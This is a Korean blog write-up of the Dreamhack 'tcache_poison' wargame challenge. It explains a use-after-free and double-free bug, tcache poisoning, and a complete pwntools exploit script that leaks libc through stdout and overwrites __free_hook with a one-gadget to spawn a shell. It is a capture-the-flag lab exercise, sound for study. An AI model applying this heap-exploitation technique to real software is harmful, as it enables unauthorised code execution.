https://dreamhack.io/wargame/challenges/358
로그인 | Dreamhack
페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!
dreamhack.io
0. 보안기법 확인

Full RELRO이기에 GOT table 변조는 불가능하고 NX bit가 켜져있기에 스택에 shellcode를 입력하는것 또한 불가능 하다.
1. 소스코드 확인
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
- 소스코드를 확인해보면 알 수 있는 취약점은 UAF(Use-After-Free)이다.
- free(chunk) 이후에도 print()와 edit이 가능하다는 말
- 그로써 Double Free가 가능해진다.
free(chunk);
free(chunk);
- 하지만 glibc는 tcache에서 double free를 감지하면 프로그램을 종료시킨다.
2. tcache 개념 정리
여기에서 tcache를 모르는 사람들을 위해 개념을 정리하고 가보자.
- tcache: free된 samll chunk를 빠르게 재사용하기위한 cache -> size별로 tcache bin이 존재함
- free된 chunk 내부에는 fd (next pointer)가 저장된다.
- 여기에서 이 fd를 조작하면 다음 malloc이 반환할 주소를 조작할 수 있다.
- 이것이 tcache poisoning의 핵심
3. payload 추론
위에서 free된 chunk 내부에는 fd (next pointer)가 저장된다고 말했던걸 기억한다면 두번 free했을 때 같은 크기위 청크라면
tcache:
chunkA → chunkA
다음과 같은 중복 엔트리가 생길 수 있고, 이 상태에서 UAF로 첫 chunk의 fd를 덮으면
chunkA → (내가 넣은 주소)
다음과 같은 구조가 완성된다.
이 다음 malloc이 작동된다면 내가 넣은 주소가 반환되어 해당 주소의 내용을 overwrite할 수 있게 된다.
4. 주소 구하기
현재 필요한 주소는 one gadget 주소로 해당 주소가 무슨일을 하는지는 추후 설명하도로 하겠다.

- 필요한 주소는 execve("/bin/sh")를 담고있는 주소이기에 0x4f3d5, 0x4f432, 0x10a41c중 하나를 적당히 골라 사용하자.
- 이 외에도 stdout의주소와 free_hook의 주소가 필요하지만 해당 주소는 pwntools의 기능으로 구할 예정이다.
5. payload 작성
from pwn import *
from pwnlib.tubes.process import PTY
p = remote('host3.dreamhack.games', 18233)
# p = process('./tcache_poison')
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def alloc(size, content):
p.sendlineafter(b'4. Edit\n',b'1')
p.sendlineafter(b'Size: ', size)
p.sendafter(b'Content: ', content)
def free_():
p.sendlineafter(b'4. Edit\n',b'2')
def print_():
p.sendlineafter(b'4. Edit\n',b'3')
def edit(data):
p.sendlineafter(b'Edit\n',b'4')
p.sendlineafter(b': ',data)
alloc(b'16',b'aaaa')
free_()
edit(b'aaaaaaaa')
free_()
leak = p64(e.symbols['stdout'])
edit(leak)
alloc(b'16',b'bbbb')
alloc(b'16',b'\x60')
#추출한 stdout 주소로 libc base 주소 추출
print_()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recvn(6) + b'\x00\x00')
libc_base = stdout_add - libc.symbols['_IO_2_1_stdout_']
free_hook_add = libc_base + libc.symbols['__free_hook']
og_gadget = [0x4f3d5,0x4f432,0x10a41c]
onegadget = libc_base + og_gadget[1]
alloc(b'64', b'a')
free_()
edit(b'aaaaaaaaa')
free_()
leak = p64(free_hook_add)
edit(leak)
alloc(b'64',b'b')
alloc(b'64',p64(onegadget))
free_()
p.interactive()
- 전체적인 구조를 말하자면
- stdout의 주소를 leak 하여 libc의 base 주소를 구함
- 다시한번 Double Free를 사용하여 free_hook 주소를 가르기게 함
- 해당 주소에서 execute('/bin/sh')를 실행하는 one gadget주소를 입력
- 그렇다면 free()함수 실행 시 execute('/bin/sh')가 실행되는 것
- stdout_add = u64(p.recvn(6) + b'\x00\x00') 이렇게 두 비트가 \x00인 이유는 stdout 주소를 출력해보면 알 수 있는데 \x00 두개가 붙어있어 \x00이 나오기 전까지 받는다음 \x00을 추가로 붙여주면서 추가적인 오류를 없애는 것
- libc.symbols['_IO_2_1_stdout_']은 stdout의 상대 주소 (offset)임으로 stdout의 주소에 빼면서 libc base 주소를 구하는 것
- og_gadget은 위에서 구한 세 개의 주소를 한번씩 넣어보며 해당 문제에 잘 맞는 것을 찾아 넣어주면 된다.
6. 실행결과

'워게임' 카테고리의 다른 글
| [시스템 해킹] rop write-up (0) | 2026.04.13 |
|---|---|
| [시스템 해킹] basic_rop_x64 write-up (0) | 2026.02.12 |
| [시스템 해킹] basic_exploitation_002 write up (0) | 2026.02.07 |
| [시스템 해킹] Return to Library write-up (0) | 2026.02.06 |
| [시스템 해킹] ssp_001 write-up (0) | 2026.02.05 |